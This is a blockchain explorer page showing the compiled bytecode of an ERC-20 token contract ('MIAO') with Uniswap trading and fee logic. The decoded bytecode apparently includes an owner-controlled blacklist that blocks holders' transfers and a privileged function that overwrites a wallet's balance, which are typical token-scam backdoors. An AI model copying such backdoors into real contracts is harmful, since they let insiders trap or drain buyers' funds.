15f87803b1580156113b1575f80fd5b505af11580156113c3573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f825f036113e757505f610514565b5f6113f283856118c6565b9050826113ff85836119f1565b146114585760405162461bcd60e51b8152602060048201526024808201527f536166654d6174684c69623a206d756c7469706c69636174696f6e206f766572604482015263666c6f7760e01b606482015260840161049c565b9392505050565b5f61145883836040518060400160405280601d81526020017f536166654d6174684c69623a206469766973696f6e206279207a65726f000000815250611536565b5f8183116114ae5782611458565b50919050565b5f806114c08385611942565b9050838110156114585760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174684c69623a206164646974696f6e206f766572666c6f770000604482015260640161049c565b5f6114588383604051806060016040528060218152602001611a32602191396111fb565b5f81836115565760405162461bcd60e51b815260040161049c9190611561565b5061122983856119f1565b5f602080835283518060208501525f5b8181101561158d57858101830151858201604001528201611571565b505f604082860101526040601f19601f8301168501019250505092915050565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b03811681146115d5575f80fd5b50565b80356115e3816115c1565b919050565b5f60208083850312156115f9575f80fd5b823567ffffffffffffffff80821115611610575f80fd5b818501915085601f830112611623575f80fd5b813581811115611635576116356115ad565b8060051b604051601f19603f8301168101818110858211171561165a5761165a6115ad565b604052918252848201925083810185019188831115611677575f80fd5b938501935b8285101561169c5761168d856115d8565b8452938501939285019261167c565b98975050505050505050565b5f80604083850312156116b9575f80fd5b82356116c4816115c1565b946020939093013593505050565b5f805f606084860312156116e4575f80fd5b83356116ef816115c1565b925060208401356116ff816115c1565b929592945050506040919091013590565b5f60208284031215611720575f80fd5b5035919050565b5f60208284031215611737575f80fd5b8135611458816115c1565b5f8060408385031215611753575f80fd5b823561175e816115c1565b9150602083013561176e816115c1565b809150509250929050565b60208082526018908201527f4f776e6572736869703a206e6f7420746865206f776e65720000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561181257815f19048211156117f8576117f86117c4565b8085161561180557918102915b93841c93908002906117dd565b509250929050565b5f8261182857506001610514565b8161183457505f610514565b816001811461184a576002811461185457611870565b6001915050610514565b60ff841115611865576118656117c4565b50506001821b610514565b5060208310610133831016604e8410600b8410161715611893575081810a610514565b61189d83836117d8565b805f19048211156118b0576118b06117c4565b029392505050565b5f61145860ff84168361181a565b8082028115828204841417610514576105146117c4565b5f602082840312156118ed575f80fd5b8151611458816115c1565b5f805f6060848603121561190a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611933575f80fd5b81518015158114611458575f80fd5b80820180821115610514576105146117c4565b5f60018201611966576119666117c4565b5060010190565b81810381811115610514576105146117c4565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119d05784516001600160a01b0316835293830193918301916001016119ab565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a0b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e73666572206578636565647320616c6c6f77616e6365536166654d6174684c69623a207375627472616374696f6e206f766572666c6f77a264697066735822122091f757adb62a6b740e7ce2e00ebbd76da98690cb4f7df7ed8088327fd8aaf8aa64736f6c63430008170033

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063704ff6b5116100cd57806395d89b4111610087578063e71fa81511610062578063e71fa815146103ff578063ea64626614610413578063eab15e4314610428578063fe575a871461043c575f80fd5b806395d89b411461016f578063a9059cbb1461039c578063dd62ed3e146103bb575f80fd5b8063704ff6b5146102e757806370a08231146103065780637b640f3c1461033a5780638a8c523c1461034e5780638da5cb5b14610362578063927f1b9914610388575f80fd5b806323b872dd1161011e57806323b872dd14610250578063313ce5671461026f578063353b43061461028a5780633de051c41461029f5780635258a835146102be57806361f6d19d146102d2575f80fd5b806306fdde031461016f578063089d566c146101aa578063095ea7b3146101cb5780630fdfa5a3146101fa57806316b441ba1461021957806318160ddd1461023c575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201825260048152634d49414f60e01b602082015290516101a19190611561565b60405180910390f35b3480156101b5575f80fd5b506101c96101c43660046115e8565b610473565b005b3480156101d6575f80fd5b506101ea6101e53660046116a8565b610504565b60405190151581526020016101a1565b348015610205575f80fd5b506101c96102143660046115e8565b61051a565b348015610224575f80fd5b5061022e60125481565b6040519081526020016101a1565b348015610247575f80fd5b5061022e61059d565b34801561025b575f80fd5b506101ea61026a3660046116d2565b6105be565b34801561027a575f80fd5b50604051601281526020016101a1565b348015610295575f80fd5b5061022e60105481565b3480156102aa575f80fd5b506101c96102b9366004611710565b610625565b3480156102c9575f80fd5b506101c961065a565b3480156102dd575f80fd5b5061022e600f5481565b3480156102f2575f80fd5b506101c9610301366004611710565b6106cb565b348015610311575f80fd5b5061022e610320366004611727565b6001600160a01b03165f9081526001602052604090205490565b348015610345575f80fd5b506101c9610710565b348015610359575f80fd5b506101c9610775565b34801561036d575f80fd5b505f546040516001600160a01b0390911681526020016101a1565b348015610393575f80fd5b506101c9610b1f565b3480156103a7575f80fd5b506101ea6103b63660046116a8565b610b49565b3480156103c6575f80fd5b5061022e6103d5366004611742565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561040a575f80fd5b506101c9610b55565b34801561041e575f80fd5b5061022e60115481565b348015610433575f80fd5b506101c9610ba2565b348015610447575f80fd5b506101ea610456366004611727565b6001600160a01b03165f9081526004602052604090205460ff1690565b5f546001600160a01b031633146104a55760405162461bcd60e51b815260040161049c90611779565b60405180910390fd5b5f5b815181101561050057600160045f8484815181106104c7576104c76117b0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104a7565b5050565b5f610510338484610c51565b5060015b92915050565b5f546001600160a01b031633146105435760405162461bcd60e51b815260040161049c90611779565b5f5b8151811015610500575f60045f848481518110610564576105646117b0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610545565b5f6105aa6012600a6118b8565b6105b9906461f313f8806118c6565b905090565b5f6105ca848484610d16565b61061b843361061685604051806060016040528060218152602001611a11602191396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111fb565b610c51565b5060019392505050565b335f9081526003602052604090205460ff1661063e5750565b6005546001600160a01b03165f90815260016020526040902055565b5f546001600160a01b031633146106835760405162461bcd60e51b815260040161049c90611779565b5f80546040516001600160a01b03909116907f0384899bd253d83b23daa4d29aaa2efe0563d1132b43101e9ad667235aeb951b908390a35f80546001600160a01b0319169055565b6005546001600160a01b0316336001600160a01b03161480156106f057506008548111155b80156106fe57506009548111155b610706575f80fd5b6008819055600955565b5f546001600160a01b031633146107395760405162461bcd60e51b815260040161049c90611779565b5f600d8190556040519081527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a1565b5f546001600160a01b0316331461079e5760405162461bcd60e51b815260040161049c90611779565b601454600160a01b900460ff16156107f85760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c6564000000000000000000604482015260640161049c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108429030906108336012600a6118b8565b610616906461f313f8806118c6565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610892573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b691906118dd565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610915573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093991906118dd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610983573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a791906118dd565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306109ee816001600160a01b03165f9081526001602052604090205490565b5f80610a015f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a67573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a8c91906118f8565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b059190611923565b506014805462ff00ff60a01b19166201000160a01b179055565b6005546001600160a01b0316336001600160a01b031614610b3e575f80fd5b610b4747611231565b565b5f610510338484610d16565b6005546001600160a01b0316336001600160a01b031614610b74575f80fd5b305f908152600160205260409020548015610b9257610b9281611268565b4780156105005761050081611231565b5f546001600160a01b03163314610bcb5760405162461bcd60e51b815260040161049c90611779565b610bd76012600a6118b8565b610be6906461f313f8806118c6565b600f55610bf56012600a6118b8565b610c04906461f313f8806118c6565b6010557fa52782235c8d2643537538593aa5ef2c881afabc0b8f3ce560203c0a899e17cc610c346012600a6118b8565b610c43906461f313f8806118c6565b60405190815260200161076b565b6001600160a01b03831615801590610c7157506001600160a01b03821615155b610cb65760405162461bcd60e51b815260206004820152601660248201527545524332303a20696e76616c6964206164647265737360501b604482015260640161049c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610d3657506001600160a01b03821615155b8015610d4157505f81115b610d8d5760405162461bcd60e51b815260206004820152601760248201527f45524332303a20696e76616c6964207472616e73666572000000000000000000604482015260640161049c565b5f80546001600160a01b03858116911614801590610db857505f546001600160a01b03848116911614155b156110be576001600160a01b0384165f9081526004602052604090205460ff16158015610dfd57506001600160a01b0383165f9081526004602052604090205460ff16155b610e05575f80fd5b600e545f03610e4157610e3a6064610e34600a54600e5411610e2957600654610e2d565b6008545b85906113d8565b9061145f565b9050610e5e565b610e5b6064610e34600d54856113d890919063ffffffff16565b90505b6014546001600160a01b038581169116148015610e8957506013546001600160a01b03848116911614155b8015610ead57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f5d57600f548211158015610eee575060105482610ee1856001600160a01b03165f9081526001602052604090205490565b610eeb9190611942565b11155b610f2b5760405162461bcd60e51b815260206004820152600e60248201526d131a5b5a5d08195e18d95959195960921b604482015260640161049c565b610f466064610e34600a54600e5411610e2957600654610e2d565b600e80549192505f610f5783611955565b91905055505b6014546001600160a01b038481169116148015610f8357506001600160a01b0384163014155b15610fb057610fad6064610e34600b54600e5411610fa357600754610e2d565b60095485906113d8565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610fe657506014546001600160a01b038581169116145b8015610ffb5750601454600160b01b900460ff165b8015611008575060115481115b80156110175750600c54600e54115b156110bc5760165443111561102b575f6015555b6003601554106110755760405162461bcd60e51b81526020600482015260156024820152744d617820332073656c6c732070657220626c6f636b60581b604482015260640161049c565b61109261108d84611088846012546114a0565b6114a0565b611268565b4780156110a2576110a281611231565b60158054905f6110b183611955565b909155505043601655505b505b801561113657305f908152600160205260409020546110dd90826114b4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112d9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111589083611512565b6001600160a01b0385165f9081526001602052604090205561119b61117d8383611512565b6001600160a01b0385165f90815260016020526040902054906114b4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e48585611512565b60405190815260200160405180910390a350505050565b5f818484111561121e5760405162461bcd60e51b815260040161049c9190611561565b50611229838561196d565b949350505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610500573d5f803e3d5ffd5b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ae576112ae6117b0565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611305573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132991906118dd565b8160018151811061133c5761133c6117b0565b6001600160a01b0392831660209182029290920101526013546113629130911684610c51565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139a9085905f90869030904290600401611980565b5f604051808303815f87803b1580156113b1575f80fd5b505af11580156113c3573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f825f036113e757505f610514565b5f6113f283856118c6565b9050826113ff85836119f1565b146114585760405162461bcd60e51b8152602060048201526024808201527f536166654d6174684c69623a206d756c7469706c69636174696f6e206f766572604482015263666c6f7760e01b606482015260840161049c565b9392505050565b5f61145883836040518060400160405280601d81526020017f536166654d6174684c69623a206469766973696f6e206279207a65726f000000815250611536565b5f8183116114ae5782611458565b50919050565b5f806114c08385611942565b9050838110156114585760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174684c69623a206164646974696f6e206f766572666c6f770000604482015260640161049c565b5f6114588383604051806060016040528060218152602001611a32602191396111fb565b5f81836115565760405162461bcd60e51b815260040161049c9190611561565b5061122983856119f1565b5f602080835283518060208501525f5b8181101561158d57858101830151858201604001528201611571565b505f604082860101526040601f19601f8301168501019250505092915050565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b03811681146115d5575f80fd5b50565b80356115e3816115c1565b919050565b5f60208083850312156115f9575f80fd5b823567ffffffffffffffff80821115611610575f80fd5b818501915085601f830112611623575f80fd5b813581811115611635576116356115ad565b8060051b604051601f19603f8301168101818110858211171561165a5761165a6115ad565b604052918252848201925083810185019188831115611677575f80fd5b938501935b8285101561169c5761168d856115d8565b8452938501939285019261167c565b98975050505050505050565b5f80604083850312156116b9575f80fd5b82356116c4816115c1565b946020939093013593505050565b5f805f606084860312156116e4575f80fd5b83356116ef816115c1565b925060208401356116ff816115c1565b929592945050506040919091013590565b5f60208284031215611720575f80fd5b5035919050565b5f60208284031215611737575f80fd5b8135611458816115c1565b5f8060408385031215611753575f80fd5b823561175e816115c1565b9150602083013561176e816115c1565b809150509250929050565b60208082526018908201527f4f776e6572736869703a206e6f7420746865206f776e65720000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561181257815f19048211156117f8576117f86117c4565b8085161561180557918102915b93841c93908002906117dd565b509250929050565b5f8261182857506001610514565b8161183457505f610514565b816001811461184a576002811461185457611870565b6001915050610514565b60ff841115611865576118656117c4565b50506001821b610514565b5060208310610133831016604e8410600b8410161715611893575081810a610514565b61189d83836117d8565b805f19048211156118b0576118b06117c4565b029392505050565b5f61145860ff84168361181a565b8082028115828204841417610514576105146117c4565b5f602082840312156118ed575f80fd5b8151611458816115c1565b5f805f6060848603121561190a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611933575f80fd5b81518015158114611458575f80fd5b80820180821115610514576105146117c4565b5f60018201611966576119666117c4565b5060010190565b81810381811115610514576105146117c4565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119d05784516001600160a01b0316835293830193918301916001016119ab565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a0b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e73666572206578636565647320616c6c6f77616e6365536166654d6174684c69623a207375627472616374696f6e206f766572666c6f77a264697066735822122091f757adb62a6b740e7ce2e00ebbd76da98690cb4f7df7ed8088327fd8aaf8aa64736f6c63430008170033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.